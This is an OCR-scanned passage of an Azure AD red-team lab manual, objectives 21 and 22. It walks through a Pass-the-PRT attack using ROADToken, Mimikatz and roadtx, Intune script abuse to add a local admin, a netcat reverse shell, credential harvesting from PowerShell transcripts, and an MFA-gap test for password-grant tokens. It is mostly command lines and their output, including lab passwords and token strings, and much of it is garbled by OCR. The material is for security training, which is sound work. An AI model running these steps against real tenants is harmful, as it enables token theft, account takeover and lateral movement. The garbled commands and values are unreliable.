PS C:\AzAD\Tools> Enter-PSSession -Session $jumpvm

[51.116.180.87]: PS C:\Users\studentx\Documents> $password = ConvertTo-
SecureString 'StudxPassword@1l23' -AsPlainText -Force

[51.116.180.87]: PS C:\Users\studentx\Documents> $creds = New-Object
System.Management.Automation.PSCredential ('.\studentx', $Password)
[51.116.180.87]: PS C:\Users\studentx\Documents> $infradminsrv = New-
PSSession -ComputerName 10.0.1.5 -Credential $creds

[51.116.180.87]: PS C:\Users\studentx\Documents> Invoke-Command -Session
$infradminsrv -ScriptBlock{hostname}

infradminsrv
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Confirm if infradminsrv is joined to AzureAD:

[51.116.180.87]: PS C:\Users\studentx\Documents> Invoke-Command -Session
$infradminsrv -ScriptBlock{dsregcmd /status}

AzureAdJoined : YES

EnterpriseJoined : NO

DomainJoined : NO
Device Name : infradminsrv

[snip]
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Learning Objective 21:

Task
e Extract PRT of a user from the infradminsrv VM and execute Pass-the-PRT attack.

*  Enumerate machines enrolled to Intune.

* If the above user has Intune Administrator or Global Administrator role, execute PowerShell
scripts on an on-prem enrolled machine to add an administrative user to that machine.

* Using the credentials of the user you added, PSRemote to the machine and extract credentials
from it.

Part of - Kill Chain - 2
Topics covered - Authenticated Enumeration, Data Mining and Cloud to On-Prem Lateral Movement

Solution

Extract PRT Cookie using Roadtoken

We can access infradminsrv using PSRemoting as the user studentx that we added earlier. We confirmed
that the machine is joined to Entra ID.

Let's extract PRT of a user from the machine. Currently, the only way to extract PRT of a user is from the
user context itself.

Using the PSRemoting session to jumpvm, create a directory/folder on infradminsrv:

[51.116.180.87]: PS C:\Users\studentx.jumpvm\Documents> Invoke-Command -
Session $infradminsrv -ScriptBlock{mkdir C:\Users\Public\studentx}

[snip]
[51.116.180.87]: PS C:\Users\studentx.jumpvm\Documents> exit

Let's copy over some tools to the jumpvm. Remember to exit from the PSRemoting session before running
the below commands:

PS C:\AzAD\Tools> Copy-Item -ToSession $jumpvm -Path

C:\AzAD\Tools\ROADToken.exe -Destination C:\Users\studentX.jumpvm\Documents -
Verbose
[snip]

PS C:\AzAD\Tools> Copy-Item -ToSession $jumpvm -Path

C:\AzAD\Tools\PsExec64.exe -Destination C:\Users\studentX.jumpvm\Documents -
Verbose
[snip]
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PS C:\AzAD\Tools> Copy-Item -ToSession $jumpvm -Path
C:\AzAD\Tools\SessionExecCommand.exe -Destination

C:\Users\studentx. jumpvm\Documents -Verbose
[snip]

Now, connect back to jumpvm and now copy tools to infradminsrv using the PSRemoting Session that we
created earlier:

[51.116.180.87]: PS C:\Users\studentx.jumpvm\Documents> Copy-Item -ToSession

$infradminsrv -Path C:\Users\studentx.jumpvm\Documents\ROADToken.exe -
Destination C:\Users\Public\studentx -Verbose

[snip]
[51.116.180.87]: PS C:\Users\studentx.jumpvm\Documents> Copy-Item -ToSession

$infradminsrv -Path C:\Users\studentx.jumpvm\Documents\PsExec64.exe -
Destination C:\Users\Public\studentx -Verbose

[snip]
[51.116.180.87]: PS C:\Users\studentx.jumpvm\Documents> Copy-Item -ToSession
$infradminsrv -Path C:\Users\studentx.jumpvm\Documents\SessionExecCommand.exe

-Destination C:\Users\Public\studentx -Verbose

[snip]

Check if all the files are copied properly:

[51.116.180.87]: PS C:\Users\studentx.jumpvm\Documents> Invoke-Command -
Session $infradminsrv -ScriptBlock{ls C:\Users\Public\studentx}

Directory: C:\Users\Public\Documents\studentx

Mode LastWriteTime Length Name

PSComputerName

-a--——-— 10/15/2021 8:18 AM 1078672 PsExecb64.exe

10.0.1.5

-a--——-— 10/15/2021 9:34 AM 6656 ROADToken.exe

10.0.1.5

=g==== 10/15/2021 9:54 AM 14848 SessionExecCommand.exe
10.0.1.5
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To use ROADToken, let's request a nonce. Run the below command from any machine:

$Tenantid "2d50cb29-5f7b-48a4-87ce-fe75a941adb6"
$URL "https://Togin.microsoftonline.com/$TenantIid/oauth2/token"

$params = @{
"URI" $URL
"Method" "posT"

$Body = @{
;grant_type" "srv_challenge"

$Result Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$rResult.Nonce

PS C:\AzAD\Tools> $TenantId = "2d50cb29-5f7b-48a4-87ce-fe75a941adb6"
PS C:\AzAD\Tools>

PS C:\AzAD\Tools> SURL =
"https://login.microsoftonline.com/$TenantId/ocauth2/token"

PS C:\AzAD\Tools>

PS C:\AzAD\Tools> $Params = @{

>> "URI" = SURL

>> "Method" = "POST"

>> 1}

PS C:\AzAD\Tools>

PS C:\AzAD\Tools> $Body = @{

>> "grant type" = "srv challenge"
>> }

PS C:\AzAD\Tools>
PS C:\AzAD\Tools>

PS C:\AzAD\Tools> S$Result = Invoke-RestMethod @Params -UseBasicParsing -Body

S$SBody
PS C:\AzAD\Tools> SResult.Nonce

AwABAAAAAAACAOz BADO_ 8vU8dHI9BbOcigF haudN20kDdyluIE2zHStmEQdUVbiSUaQi EdsWfil

9-EKrlymed4TaOHIBG24v-FBV96nHNMgAA
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Finally, run ROADToken.exe in the context of MichaelMBarron using SessionExecCommand.exe with the
help of PsExec64.exe. Ignore the errors after running the below command and note that we are
redirecting the output to PRT.txt:

[51.116.180.87]: PS C:\Users\studentx.jumpvm\Documents> Invoke-Command -
Session $infradminsrv -ScriptBlock{C:\Users\Public\studentx\PsExec64.exe -
accepteula -s "cmd.exe" " /c C:\Users\Public\studentx\SessionExecCommand.exe
MichaelMBarron C:\Users\Public\studentx\ROADToken.exe

AwABAAAAAAACAOz BADO__OCpqJjNm0igQeYC uA7yQXLgGdvhObkCFeeHv19WkOHqmHkP2TiMx5D
mkiOXgBXAFczMZYsQS3BT8fsIxzUCYgAA > C:\Users\Public\studentx\PRT. txt"}

PsExec v2.34 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com

Connecting to local system...

+ CategoryInfo : NotSpecified: (Connecting to local
system...:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
+ PSComputerName : 10.0.1.5
NotSpecified: (:String) [], RemoteException
NotSpecified: (:String) [], RemoteException
NotSpecified: (:String) [], RemoteException
[snip]

cmd.exe exited on infradminsrv with error code 0.

Let's see the PRT Cookie!

[51.116.180.87]: PS C:\Users\studentx.jumpvm\Documents> Invoke-Command -
Session $infradminsrv -ScriptBlock{cat C:\Users\Public\studentx\PRT.txt}
Exec'd command C:\Users\Public\studentx\ROADToken.exe as user MichaelMBarron
stdOutput: Using nonce

AwABAAAAAAACAOz BADO  OCpqJiNm0igQeYC uA7yQXLgGdvhObkCFeeHv19WkOHqmHkP2TiMx5D
mkiOXgBXAFczMZYsQS3BT8fsIxzUCYgAA supplied on command line

stdOutput: { "response": [{ "name": "x-ms-RefreshTokenCredential", "data":
"eyJhbGciOiJIUzIINiIsT
[snip]
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To use the PRT cookie in Chrome, we can use the following steps:
- Open Chrome in Incognito mode and browse to https://login.microsoftonline.com/login.srf

- Press F12 (Chrome dev tools) -> Application -> Cookies

@ login.microsoftonline.com,

B® Microsoft

Sign in

No a nt’ e

nt
Next
ources  Network  Performance  Memo Application  Security ghthouse L= I
- o n k th an

om | Name Value Domain | Path Expires / M... | Size HpOnly | Secure SamesSite | Priority

- Clear all cookies and then add one named 'x-ms-RefreshTokenCredential' and set its value to that
retrieved from AADInternals

- Mark HTTPOnly for the cookie

Sources  Network Performance  Memory  Application  Security  Lighthouse o i oXx
“| € Fir S X Only show cookies with an issue
. Name. Value Domain Path Expires / M... | Size HttpOnly Secure SameSite | Priority
x-ms-RefreshTokenCredential yJ0EXAIOUKV1 QiLCINbGEIOUIUzZI TNIsImNDECIIkI2ZKBO0CK BaWh... | loginmicr... |/ Session 1972 v v Medium

FZejnTTEpkeVET!
LXVmMndTe3doNUKWGhoRIM4c

Office 365 & 7 (me

Good evening

Michael M. Barron

All My recent Shared  Favorites e to fiter f MB michaeimbarron@defcorpha
[}~ Mame Modified Shared by Activity
& W Feedback @ Need help? .
X Elements  Console  Sources  Metwork  Performance  Memory  Application  Security Lighthouse @6as =1 | & i X
- c £y kies with an iss
Name Path A.. Size Huponly | Secure Samesite
365 F v Lax
use 22 ¥ y Maone Medium
OhpAuth 3229 B v Nane Medium -

If you get the login page, try getting a new PRT Cookie by running Roadtoken again. Remember to request
a new nonce.

Please note that a location based Conditional Access Policy will block Pass-the-PRT attack. However, the
attack bypasses Conditional Access Policies that require compliant and/or Entra ID joined device.
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From our previous enumeration, we know that the user Michael has Intune Administrator role. Browse to
https://intune.microsoft.com/ (or endpointmicrosoft.com) from the Chrome windows where we injected
the cookie.

Go to Devices -> All Devices to check devices enrolled to Intune:

B » @ In
michaelmbarron@defco... (@
DEFENSE CORPORATION (DEFCO...
Home > Devices
# I Devices | All devices - X
) Refresh 57 Filter == Columns L Export & Bulk Device Actions
* @ overview
. arch by IMIE, serial number, email, user principa device name, management name, phone number, model, or manufacture
A W aildevices
. Showing 1 to 2 of 2 records page [ 1~ |of1
8 Monitor
® Device name Ty Managed by T4 Ownership Ty Compliance *y os 05 version Ty Last check-in T4 Primary user UPN Ty
By platform
DESKTOP-M7C1AFM  Intune Corporate @ compliant Windows 10.0.19042.867 4/22/2021,3:51:48 PM  michaelmbarron@def.
M windows
A DESKTOP-QTBREQ4  Intune Corporate © Compliant 100.19042.867 4/4/2021,8:18:48 P michaelmbarron@def

Go to Scripts and Click on Add for Windows 10.
In the Add PowerShell script, add a new script and name it studentx

On the script settings page, use 'adduser.psl' from the C:\AzAD\Tools directory. Make sure to modiy
adduser.psl so that it adds a studentx on the target machine.

Home > Devices

Add Powershell script

/' Basics ° Script settings

Script location * @ adduser.ps1 | E
Run this script using the logged on I Yes m

credentials (0

Enforce script signature check (O] \ Yes m

Run script in 64 bit PowerShell Host 0 (NG No )

On the Assignments page, include 'Add all users' and 'Add all devices'.

Vv Basics / Scriptsettings € Assignments

Included groups

Groups
All devices Remove
All users Remove
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Finally, add the script. It will take up to one hour before you script is executed. We cannot see the
output of the script execution.

We can use a reverse shell too. The reason why | am not doing that is that it takes one hour to execute
and don't want to wait for another one in case | stop it by mistake.

Use the below commands to get a reverse shell. First start a listener:

PS C:\AzAD\Tools> C:\AzAD\Tools\netcat-win32-1.12\nc64.exe -lvp 4444
listening on [any] 4444

Use the Invoke-PowerShellTCP.ps1 reverse shell with the Endpoint management portal. Make sure that
you include the function call to execute the reverse shell within the script and test it locally.

In an hour, we should see a connection on the listener:

172.16.2.24: inverse host lookup failed: h errno 11004: NO_DATA
connect to [172.16.x.x] from (UNKNOWN) [172.16.2.24] 51360: NO_DATA

Windows PowerShell running as user DESKTOP-M7C1AFMS$ on DESKTOP-M7ClAFM
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>

PS C:\Windows\system32> whoami
nt authority\system

PS C:\Windows\system32> hostname
DESKTOP-M7C1AFM

PS C:\Windows\system32>

Assuming that we know the IP and we can reach to it over the network, connect to the machine using
PSRemoting (or on reverse shell):

PS C:\AzAD\Tools> $password = ConvertTo-SecureString 'StudxPassword@123' -
AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ('studentx', $password)

PS C:\AzAD\Tools> Enter-PSSession -ComputerName 172.16.2.24 -Credential
Screds

[172.16.2.24]: PS C:\Users\studentx\Documents>

Now, after trying various ways of extracting credentials from a Windows machine, we will finally get
them in the PowerShell transcripts!
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[172.16.2.24]: PS C:\Users\studentx\Documents> cat
C:\Transcripts\20210422\PowerShell transcript.DESKTOP-
M7C1AFM. 6sZ2JrDuN.20210422230739. txt

[snip]

PS C:\Users\defres-adminsrv> $Password = ConvertTo-SecureString
'UserIntendedToManageSyncWithClOud!' -AsPlainText -Force

$Cred = New-Object

System.Management.Automation.PSCredential ('adconnectadmin', $Password)
Enter-PSSession -ComputerName defres-adcnct -Credential S$creds

Sweet! We got credentials for an on-prem machine defres-adcnct.

Alternative: Extract PRT using Mimikatz and use with roadtx

An alternative way of performing Pass-the-PRT could be using Mimikatz (or its variants) to extract the

required secrets and then using it with roadtx.

Please note that we are not taking into consideration endpoint opsec when copying and running
Mimikatz on jumpvm and infradminsrv.

Copy Mimikatz on jumpvm using the below command:

PS C:\> Copy-Item -ToSession $jumpvm -Path C:\AzAD\Tools\mimikatz.exe -
Destination C:\Users\studentl\Documents -Verbose

VERBOSE: Performing the operation "Copy File" on target "Item:
C:\AzAD\Tools\mimikatz.exe Destination: C:\Users\studentl\Documents".

Copy Mimikatz from jumpvm to infradminsrv:

[51.116.180.87]: PS C:\Users\studentl\Documents> Copy-Item -ToSession
$infradminsrv -Path C:\Users\studentl\Documents\mimikatz.exe -Destination
C:\Users\Public\studentl -Verbose

VERBOSE: Performing the operation "Copy File" on target "Item:
C:\Users\studentl\Documents\mimikatz.exe Destination:
C:\Users\Public\studentl".

Extract PRT and encrypted Session key from the target VM:

[51.116.180.87]: PS C:\Users\studentl\Documents> Invoke-Command -Session
$infradminsrv -ScriptBlock{C:\Users\Public\studentl\mimikatz.exe
sekurlsa: :cloudap exit}

[snip]

Authentication Id : 0 ; 5059756 (00000000:004d34ac)
Session : RemotelInteractive from 3

User Name : MichaelMBarron
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Domain : AzureAD

Logon Server : (null)
Logon Time : 11/16/2023 7:10:39 AM
SID : S-1-12-1-1906772070-1138033136-3072666522-3468280978
cloudap
Cachedir

2204£26d4684c1769fba70f01aal63edclcd75£78b07dab5dc291ab3£f5a05fcab

Key GUID : {539%9ae918-2ec7-4cad-b416-9cfeff51f461}

PRT : {"Version":3, "UserInfo":{"Version":2,
"UniqueId":"71a70866-01£0-43d5-9%9a2b-25b792c4b9ce", "PrimarySid":"S-1-12-1-
1906772070-1138033136-3072666522-3468280978", "GroupSids":["S-1-12-1-
1447816280-1182106782-1856018870-3271737113"], "DisplayName":"Michael M.
Barron", "FirstName":"", "LastName":"",
"Identity":"michaelmbarron@defcorphg.onmicrosoft.com",
"PasswordChangeUrl":"https:\/\/portal.microsoftonline.com\/ChangePassword.asp
x", "PasswordExpiryTimeLow":3583418367, "PasswordExpiryTimeHigh":2147483446,
"PublicInfoPublicKeyType":0, "Flags":0},

"Prt" : "MC5BWEFBS2NOUUxYdGZwRW1IenY1MXFVR3R0b2M3cWpodG9CZE1zblY2TVdtSTJUdkVBQ2
suQWdBQkFBRUFBQUFtb0ZmR3RZeHZSck5yaVFkUEtJWilBZ0RzX3dVQT1QLTdibXBOV251WUVOCFF
zd2J1INXQtUWRvMkc5VUJICdDdzWnhgZEtZdk1wVOppV0xuYUUydUhaczd6TOhUVMVZQ2FLWX1GY zMx
bClyNnFta3VOSWI5LVZ4eGZJIYUJpROFWbk1wUnNpSTBYWGAtQVpTbXJrdVhNMH1 i NGtRZHpyMF 9XT
UdGVmZpY3hRWDMyY1BjY3ZfaGx4dmVET2RiQkpnYTZCRVhuMkFESUhkVHVWATA2LU4yWTdUbm8wSU
hoYORfdV1xbk tUOWNXVD1HWE90Q284NUs5Q1JyVnN4b31kTkFPSm05TzVzbEpQSF1VAWEFjVXBYOGJ
4YONYSTU3UXdxSjdtWUx5clFtMF9kSTFpbS1oNUY5SkI0UUlobk94UO0cwal QUTmpO0TDFSSMhNVkVR
LUNVSEx5am1IdUl1gSTFUR3VVSDZ1bkkxaVY1Q0s4TmthWFY5dUlla250X3FMdTJf£ck5BSzJPdGNUQ
nFDRWAnZVBZWVNNQ2pkeGlqUzdfSHhuQU1XOWxQLVPpGVMNHROVIdHgObmFPRj1DAGXZT1Z5anhoT0
M1RnFPVnJhUHhgbDIXxWnVZVXBnNGNZQOpkcFJyejA3RnJocHIJrMmFobTMXNEc5Mjh6M21Eb1UOMXJ
UdXFqQOEVyNFVrakl1lXzk1ldE1GbONobFZKdjA2aWRKNnlEYkNpc2VJak1FWUowOUJvWjYweVV5Z0tH
OF1zR2VhNnp6RGNzbmNVbF9xLX1JTHdjX1hwWlRoNW5zV2JHZTBmNWthT2pJSXhBWTV6S1hkT293Q
WNXYUxUbk1CX1Z1lajQwOEJUMTRiazZTNDIzWGYyWUV3RzRDYVY3ZUNVekdrd2kySWgtRG81RWEF2bl
JnQOFVSUhwSU9IVGxjWG5qck 9kM2FaWDd3d0JpV0ZyZnFVZHc4UE1ZcmVPYzItOEZzM2ZwaVONVOV
PRJM4UWxx0X16MVRsN1INamFoTTdXM3ZFb1RLMnNFcXNVTk1QLUdkMVNiVkhmT jJhaWlOcnU2cjlv
a01NR1FnOUJIQ0ZgR1RsX04zcUw5S5MFYzUCl1oSHQ1T19RODNBLXFuT0JQS2V2d19LV11HZ1JOMOU42Z
jhpV2FXN2phOE12zWGRaRnY tRmV0c25qTUwycTFUX3FJS3Jj TmNwd3R£ZUxSS0Z4cVE0ZHAFAGIPUW
1LV3pQeVowZE5YR3BTSk1SNUdjNA", "PrtReceivedtime":1702023029,
"PrtExpirytime":1703243522, "ProofOfPossesionKey":{"Version":1,
"KeyType":"ngc",

"KeyValue" : "AQAAAAEAAAABAAAAOIyd3wEVORGMegDAT8KX6wWEAAADkJSIoxwagRKXtrSQwgXgbA
AAAAATAAAAAABBMAAAAAQAATAAAAE jYeT4ny70nPziNS5c8xJ1TmwVijnH3XfPchRpeD-
y_nAAAAAAG6AAAAAAGAATAAAAPEgne-K-eGp8XuaH LOyOWO0l-vjcXZHirkpoFhbYnlPMAAAAT-
pWxsyj7g4TkFPvZFRLKWA50C0KJ203-vFQLUXgxfEBwz9YG -
Y2eplAnqlJ9EpUAAAADVTZvgvVUeI9RzmOgMRhj3Z9DHT6U3QJTgluGN2yDRJmMRXN645 1eHSYG _
KO0j-7MesfJINkLOY1H1 49HEO5dF"}, "SessionKeyImportTime":1700118513,
"CloudTgtMessage":"

[snip]
"CloudTgtKeyType":18, "TenantId":"2d50cb29-5f7b-48a4-87ce-fe75a9%941ladbo6",

"UserName" : "michaelmbarron@defcorphqg.onmicrosoft.com",
"Subject":"bEZ91iMsWFCNd30otfBQsyCc9t2DOgpNI9p6ZVvESVArPtE",
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"AuthorityUri":"https:\/\/login.microsoftonline.com"™, "DeviceId":"a7177dl1f-
e967-49ef-9ffc-b7b7766f2eec",
"DeviceCertificateThumbprint" :"olLVeiglhAHfviWeSBHZSHAeKUMEY",
"ClientInfo":"eyJ1laWQiOiI3MWE3MDg2NiOwMWYwLTQzZDUtOWEyYiO0yNWI3OTJJNGISY2UiLCJ
1dG1lkIjoiMmQOIMGNiMjktNWY3Yi000OGEOLTg3Y2UtZmU3NWESNDFhZGI2In0",
"KerberosTopLevelNames":" .windows.net, .windows.net:1433, .windows.net:3342, .az
ure.net, .azure.net:1433, .azure.net:3342", "EnterpriseSTSInfo":{"Version":0,
"PRTSupported":0, "WinHelloSupported":0, "WinHelloKeyReceiptSupported":0,
"Kdfver2":0}, "IsRestricted":0, "CredentialType":1, "DsrInstance":0,
"AdfsPasswordChangeInfo":0, "AccountType":1, "IsDefaultPasswordChangeUri":0}
DPAPI Key:
86aa76ea69cc336450ac885026281918d2bc2ff11be2650198£72094637877¢c380fa711a8b68d
4fae2030d07a56£fdc0d26de2c6b0889e1766bb7501494d50013 (shal:
d96483abal0d9e24a07f3acedcdd49e2392474cd?2)

Note that the PRT and Session key values could be different for you!

Sweet! Now, decrypt the Session key using SYSTEM context.

[51.116.180.87]: PS C:\Users\studentl\Documents> Invoke-Command -Session
$infradminsrv -ScriptBlock{C:\Users\Public\studentl\mimikatz.exe

"token: :elevate" "dpapi: :cloudapkd

/keyvalue: AQAAAAEAAAABAAAAOIyd3wEVORGMegDAT8KX6WEAAADkJISIoxwagRKXtrSQwgXgbAAA
AAATAAAAAABBMAAAAAQAATAAAAEjYeT4ny70nPziNS5c8xJ1TmwVjnH3XfPchRpeD-
y_nAAAAAAG6AAAAAAGAAIAAAAPEqne-K-eGp8XuaH LOyOWO0l-vjcXZHirkpoFhbYnlPMAAAAI-
PWxsy]j7g4TkFPvZFRLKWAS50C0KJ203-vFQLUXgxfEBwz9YG] -
Y2eplAnqlJ9EPUAAAADvTzvgvVUeI9RzmOgMRhj3ZIDHT6U3QITgluGN2yDRImMRXN645 1eHSYG
K0j-7Mes£fJINkLOY1H1 49HEO5dF /unprotect" "exit"}

[snip]

Label : AzureAD-SecureConversation

Context : e0e9c6798274acdbdcce9fead7dfbcee9d870da75acce6324
* using CryptUnprotectData API

Key type : Software (DPAPI)

Clear key : 7e255b9e5e02£25d1588578dbd2d9d6£091e£f0d33e6873cf5d5bac583687d0ed
Derived Key: 1c62d8d4b32af58afbfl2ae5ffc54365£6291£5316a7¢c5140c21849385a49999

mimikatz (commandline) # exit
Bye!
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Back on the student VM, use PRT and the decrypted Session Key (Clear key) to renew the PRT. Note that
Conditional Access Policies are not evaluated when PRT is issued or renewed.

Use the below command. Remember to use the PRT and decrypted session keys for your lab instance:

PS C:\> cd C:\AzAD\Tools\ROADTools

PS C:\AzAD\Tools\ROADTools> .\venv\Scripts\activate

(venv) PS C:\AzAD\Tools\ROADTools> roadtx prt -a renew --prt
MCS5BWEFBS2NOUUxYAGZWRW1IenY1MXFVR3R0b2M3cWpodGI9CZE1zblY2TVAtSTIJUAkKkVBQ2 suQWABQ
kKFBRUFBQUFtb0ZmR3RZeHZSck5yaVFkUEtJWi1BZ0RzX3dVQT1QOF1uTEStSmpHZWY 3UMVRYndJMk
FmTFVae jRwWjVUV3hZU0Q0aFJPS3Uwb2xsTXVLc1pDMk90XzdBNFo4NGlvZHU2dkt rbXRPNk90eGN
PNE1ZOGVzTkZ5bW1lyUGpiT3RVRIMWTFZ4c213a3ZUSVpSMHZ1emY3SWRrZjJhNJE3czFNSGVTaGZH
S1FueTBWbUNrMXBpRWRkSXFgSyl4M2RAWWUORThHVIF1cEVEYVg4dmZgeTZXQzAxYTFhbmdaMDRSb
184MWw5SX1TIbjZZcGlWQ1l1Xbl1FnelNyMm5XaVplTW52dmdoblBoUEI3NUAMTWV6RZz1naU9WU051eU
FA4Q1clQzFtSXhnRkRMVI1p3WINhSGRFUOMxY25QY0FIOGp4dlhkWmotTGhjUEhiWENabkhlTXRPWGZ
WSKEFVTG95cnZCZW40cmlWZ1B3SjdaaS1hNkZgekZkenRYVkkzWVRnNR25xeUhydzFvS0VvaUppVnpP
d2w5VVI9iTGt6WmVpTmt LamUyV2ctVEwlaDFkdzZJWXViczk5NnFVZDFoSmd4M0hsb1RTNUJPRUtBO
Ut 6NU5Z2dXIxVDA5NkS5PAkIJHNTFySEJlazlrN2xJRVPXYJI3WEN1eEOzTECWRENzZNOSCTWhkT2ZrZ0
VsQWFseVh4S1FrWFFWY1BMaEhiUWthaExTUHJpczRTVJBLTHFZQkVyTVBKSGgzNXF1WHZQRWhMSW5S
2RTBTATZXM3Y3RDR2MGpTUHJuaVY4bHZ1SEpvemR2aS1vdkEycEk3dndLR1IhRAjNXcFhOYTNEMV1z
CcVN6T1A1al112U27272eEZJZ0dremdZekp4ZHIJRZ1IPWFQOAThSaWhVVWxNako2clFKOXJwWXJJIXONoY
WIWM1VDNkQ1cm91ZWJI5bTc5TzhQakhHRGIVaU90Z1pNVm9XalZwQ0ZDejI5M1dnSHQ3aHdRTC1tZD
RPVJFxUUx1dkNxcUcOYJjE3Y11UeGRhM2R1a05Q0DJCc240d1ZCR2NLbmR3UE9HCck11cmJtSTNLWE9
rTHoWWHNNZXJALTVBXZ3F1TmtNQzNEFVWNqCcFBmAGZt Y1 JFREXfUTFFCcWS5ERkgydGZwaOpUNnMOLUKL
RjUySD1KYylidVVBM196cG1lRM190aw --prt-sessionkey
7e255pb9%e5e02£25d1588578dbd2d9d6£091ef0d33e6873cf£5d5bac583687d0ed

Renewing PRT

Saved PRT to roadtx.prt

(venv) PS C:\AzAD\Tools\ROADTools>

We can use the PRT using multiple methods.

One interesting way would be to use the browser-based authentication that roadtx provides. This module
injects the PRT cookie automatically (something that we previously did manually). Use the following
command from virtual environment we have been using for roadtx:

(venv) PS C:\AzAD\Tools\ROADTools> roadtx browserprtauth -url
https://portal.azure.com
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https://portal.azure.com/

This opens a new browser session with PRT cookie already injected!
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Another way of using PRT would be to request access tokens for ARM and MSGraph (or AADGraph) and
use that with the Az PowerShell module.

In the below commands, we are requesting access tokens for ARM and MSGraph using client ID of the Az
PowerShell module (Check out roadtx listaliases for more options):

(venv) PS C:\AzAD\Tools\ROADTools> roadtx prtauth -c azps -r azrm --tokens-
stdout

{"accessToken":
"eyJ0eXAi01iJKV1IQiLCIhbGciOiJSUzI1INiIsIngldCI6I1QOxU3QtZExUdAn1XUmd4Q182NzZ10Gty
WEMtSSIsImtpZCI6I1lQOxXU3QtZEX. ..

[snip]

(venv) PS C:\AzAD\Tools\ROADTools> roadtx prtauth -c azps -r msgraph --
tokens-stdout
{"accessToken": "eyJ0eXAiOiJKV1

Copy the ARM and MSGraph access tokens and save them to Stoken and Smsgraphaccesstoken as we
have been doing up to now. Use them to connect to the target tenant as the user Michael:

PS C:\> $token = 'eyJO....'

PS C:\> $msgraphaccesstoken = 'eydJoO....'

PS C:\> Connect-AzAccount -AccessToken $token -MicrosoftGraphAccessToken
$msgraphaccesstoken -AccountId michaelmbarron@defcorphqg.onmicrosoft.com
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Account SubscriptionName TenantId
Environment

michaelmbarron@defcorphg.onmicrosoft.com 2d50cb29-5f7b-48a4-
87ce-fe75a941adb6 AzureCloud

We can now use the Az PowerShell module as usual (Note that Michael doesn’t have any permissions on
Azure resources)

PS C:\> Get-AzResource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
[snip]

PS C:\> Get-AzADUser

DisplayName Id Mail
UserPrincipalName

Aaron L Sokol 4d86d60f-c1d9-4157-936a-977e915d65al
AaronLSokol@defcorphg.onmicrosoft.com

admin 4d670155-3494-46d0-a4cf-de359d8a9d68
admin@defcorphg.onmicrosoft.com admin@defcorphg.onmicrosoft.com
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Learning Objective 22:

Task
e Enumerate Dynamic groups in defcorpit.onmicrosoft.com using privileges of
thomasebarlow@defcorpit.onmicrosoft.com

* Invite studentx@defcorpextcontractors.onmicrosoft.com as guest user and modify its attributes
to join a dynamic group

Part of - Kill Chain - 3
Topics covered - Authenticated Enumeration and Tenant to Tenant Lateral Movement

Solution
We compromised credentials for thomasebarlow@defcorpit.onmicrosoft.com from a deployment
template earlier. Please note that the password may be different in your lab instance.

Username - thomasebarlow@defcorpit.onmicrosoft.com
Password - %%"Da@asyu0(@*&48VVf6

Evading MFA for the user Thomas
When we try to use the credentials for Thomas with portal.azure.com, it turns out that the user has MFA
enabled.

Microsoft Azure

BB Microsoft
thomasebarlow@defcorpit.onmicrosoft.com

Enter code

Enter the code displayed in the authenticator
app on your mobile device

Code

More information

o

As we discussed previously, we can’t enumerate how the MFA is enforced. We must rely on trial and error.
Recall that we are following the access that we got by abusing the virusscanner app. It makes sense to try
and see if a location based conditional access policy is enforced that excludes the outbound IP of
virusscanner app.
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We can use the following python one-liner to try and request an access token for Graph APl using
credentials of Thomas. A response code of 200 means success.

In the below command we are using client id of Az CLI, tenant ID of DefCorp IT and username/password
of the user Thomas. Remember to change the password for Thomas.

; python -c "import http.client, json; client id, tenant id, username,
password = '04b07795-8ddb-461la-bbee-02f9%elbf7b46', 'b6e0615d-2cl7-46b3-922c-
491c91624acd', 'thomasebarlow@defcorpit.onmicrosoft.com',
r'DeployM3ntUserInTh3Tan3nt!!'; scope = 'openid profile offline access
https://graph.microsoft.com/.default'; body =

f'client id={client id}%26grant type=password%26username={username}s26passwor
d={password}%26scope={scope}%26client info=1'; headers = {'Content-Type':
'application/x-www—-form-urlencoded'}; conn =
http.client.HTTPSConnection('login.microsoftonline.com') ;

conn.request ('"POST', f'/{tenant id}/ocauth2/v2.0/token', body, headers);
response = conn.getresponse(); status code = response.status; data =
Json.loads (response.read()); conn.close(); print(status code)";

Check your Connection!

Provide URL!

; python -c "import http.client, json; client_id, tenant_id, username, password = '04b07795-8ddk

Status: 200

Sweet! We found a gap in the MFA enforcement.

Now we can start enumeration of the Defcorp IT tenant. Note that in an actual assessment, you would
need to enumerate a lot of things. For the sake of the lab here, we directly enumerate dynamic
membership groups, membership rule and members of the dynamic group.

Enumerate using Graph Access Token
Let's request a Graph APl access token for Thomas. Use the following one-liner:

; python -c "import http.client, json; client id, tenant id, username,
password = '04b07795-8ddb-46la-bbee-02f9%1bf7b46', 'b6e0615d-2cl7-46b3-922c-
491c91624acd', 'thomasebarlow@defcorpit.onmicrosoft.com',
r'DeployM3ntUserInTh3Tan3nt!!'; scope = 'openid profile offline access
https://graph.microsoft.com/.default'; body =

f'client id={client id}%26grant type=password%26username={username}%26passwor
d={password}%26scope={scope}3s26client info=1'; headers = {'Content-Type':
'application/x-www-form-urlencoded'}; conn =
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http.client .HTTPSConnection('login.microsoftonline.com') ;

conn.request ("POST', f'/{tenant id}/ocauth2/v2.0/token', body, headers);
response = conn.getresponse(); data = json.loads (response.read());
conn.close(); print(data.get ('access token'))"

Check your Connection!

Provide URL!

: python -c "import http.client, json; client_id, tenant_id, username, password = '04b07795-8ddb-4€

lIIIIIIIIIIIIIIIIIIIIIIIIIIIIEiEHHIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

Now, we can use this access token for enumeration.

PS C:\AzAD\Tools> $graphtoken = 'eyJ0eXAiO....'

PS C:\AzAD\Tools> Connect-MgGraph -AccessToken ($graphtoken | ConvertTo-
SecureString -AsPlainText -Force)

Welcome to Microsoft Graph!

[snip]

Let's enumerate Dynamic Groups:

PS C:\AzAD\Tools> Get-MgGroup | ?{$_ .GroupTypes -eqg 'DynamicMembership'}

DisplayName Id MailNickname Description
GroupTypes
ITOPS £6c94d79-3eed-40ca-9ba9-d9743ad4alade 54aca89a-b IT Operations

Teams {DynamicMembership}

ITOPS is a dynamic membership group. Look at the MemberShipRule for the dynamic group:

PS C:\AzAD\Tools> Get-MgGroup -GroupId £6c94d79-3eed-40ca-9ba9-d9743adalade |
select MembershipRule

